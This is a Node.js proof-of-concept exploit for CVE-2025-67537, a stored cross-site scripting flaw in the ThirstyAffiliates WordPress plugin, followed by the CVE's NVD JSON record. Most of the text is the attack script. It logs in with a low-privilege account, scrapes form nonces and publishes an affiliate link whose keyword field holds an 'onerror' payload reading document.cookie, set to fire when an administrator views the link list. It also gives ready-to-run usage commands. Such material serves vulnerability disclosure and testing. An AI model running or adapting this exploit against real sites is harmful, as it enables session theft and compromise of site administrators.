CVE-2025-67537

// CVE-2025-67537 Stored XSS PoC for ThirstyAffiliates <= 3.11.8 // Author: Security Researcher // Target: WordPress with ThirstyAffiliates plugin installed // This PoC demonstrates the stored XSS vulnerability in ThirstyAffiliates plugin // The attacker needs low-privilege WordPress account (subscriber/contributor role) const axios = require('axios'); const crypto = require('crypto'); class ThirstyAffiliatesXSS { constructor(targetUrl, username, password) { this.targetUrl = targetUrl.replace(/\/$/, ''); this.username = username; this.password = password; this.cookieJar = []; this.nonce = null; } async login() { // Step 1: Obtain WordPress login nonce const loginPage = await axios.get(`${this.targetUrl}/wp-login.php`); const loginNonceMatch = loginPage.data.match(/name="_wpnonce" value="([^"]+)"/); if (!loginNonceMatch) { throw new Error('Failed to obtain login nonce'); } this.nonce = loginNonceMatch[1]; // Step 2: Perform login const loginData = new URLSearchParams({ 'log': this.username, 'pwd': this.password, 'wp-submit': 'Log In', '_wpnonce': this.nonce, 'redirect_to': '/wp-admin/', 'testcookie': '1' }); const loginResponse = await axios.post( `${this.targetUrl}/wp-login.php`, loginData.toString(), { headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_test_cookie=WP+Cookie+check' }, maxRedirects: 0, validateStatus: (status) => status < 400 } ); // Extract authentication cookies const setCookie = loginResponse.headers['set-cookie'] || []; this.cookieJar = setCookie.map(c => c.split(';')[0]).join('; '); console.log('[+] Login successful'); return true; } async addMaliciousLink() { // Step 3: Navigate to ThirstyAffiliates link adder const addLinkPage = await axios.get( `${this.targetUrl}/wp-admin/post-new.php?post_type=thirstylink`, { headers: { 'Cookie': this.cookieJar } } ); // Extract nonce for link creation const addNonce = addLinkPage.data.match(/name="_wpnonce" value="([^"]+)"/); if (!addNonce) { throw new Error('Failed to obtain add link nonce'); } // Step 4: Inject stored XSS payload // Payload: <img src=x onerror=alert(document.cookie)> // This will execute when admin views the link in admin panel const xssPayload = '<img src=x onerror=alert(document.cookie)>'; const linkData = new URLSearchParams({ 'post_title': 'Malicious Affiliate Link ' + Date.now(), 'content': '', '_wpnonce': addNonce[1], '_wp_http_referer': '/wp-admin/post-new.php?post_type=thirstylink', 'tax_input[thirstylink-category]': '', 'ta_destination_url': 'https://malicious-site.com', 'ta_keyword': xssPayload, // XSS payload injected here 'publish': 'Publish' }); const publishResponse = await axios.post( `${this.targetUrl}/wp-admin/post.php`, linkData.toString(), { headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': this.cookieJar, 'Referer': `${this.targetUrl}/wp-admin/post-new.php?post_type=thirstylink` } } ); if (publishResponse.status === 200) { console.log('[+] Malicious link created successfully'); console.log('[+] XSS payload stored in plugin database'); console.log('[+] Payload will execute when admin views link list'); return true; } return false; } async exploit() { console.log('[*] CVE-2025-67537 Exploitation'); console.log('[*] Target: ThirstyAffiliates <= 3.11.8'); console.log('[*] Vulnerability: Stored XSS in link keyword field\n'); try { await this.login(); await this.addMaliciousLink(); console.log('\n[*] Exploitation complete'); console.log('[*] Wait for admin to view links to trigger XSS'); } catch (error) { console.error('[-] Error:', error.message); } } } // Usage if (require.main === module) { const target = process.argv[2] || 'http://target-wordpress-site.com'; const user = process.argv[3] || 'attacker'; const pass = process.argv[4] || 'password'; const exploit = new ThirstyAffiliatesXSS(target, user, pass); exploit.exploit(); } // Node.js execution: node poc.js http://target.com attacker password // Python alternative: Use requests library with similar logic

{"cve": {"id": "CVE-2025-67537", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:28.770", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Blair Williams ThirstyAffiliates thirstyaffiliates allows Stored XSS.This issue affects ThirstyAffiliates: from n/a through <= 3.11.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/thirstyaffiliates/vulnerability/wordpress-thirstyaffiliates-plugin-3-11-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}